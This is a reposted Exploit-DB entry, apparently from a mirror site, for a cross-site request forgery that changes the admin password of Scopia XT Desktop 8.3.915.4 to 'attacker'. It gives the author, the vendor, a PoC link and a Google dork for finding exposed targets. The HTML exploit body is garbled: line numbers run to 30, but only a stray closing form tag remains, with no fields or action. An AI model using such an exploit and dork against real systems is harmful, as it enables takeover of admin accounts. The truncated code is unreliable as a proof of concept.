Scopia XT Desktop 8.3.915.4 – Cross-Site Request Forgery (change admin password) - 体验盒子

作者： V1n1v131r4

日期： 2020-09-09

类别：

webapps

平台：

java

来源：https://www.exploit-db.com/exploits/48798/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# Exploit Title: Scopia XT Desktop 8.3.915.4 - Cross-Site Request Forgery (change admin password)

# Google Dork: inurl:scopia+index.jsp

# Date: 2020-09-09

# Exploit Author: v1n1v131r4

# Vendor Homepage: https://avaya.com

# Software Link: https://support.avaya.com/downloads/download-details.action?contentId=C201772012204170_4&productId=P1605

# Version: 8.3.915.4

# Tested on: Windows 10 Pro

# CVE : N/A

# PoC: https://github.com/V1n1v131r4/Exploit-CSRF-on-SCOPIA-XT-Desktop-version-8.3.915.4

# CSRF to change admin password

# The admin password will be changed to "attacker"

<!DOCTYPE html>

<html>

<body>

</form>

</body>

</html>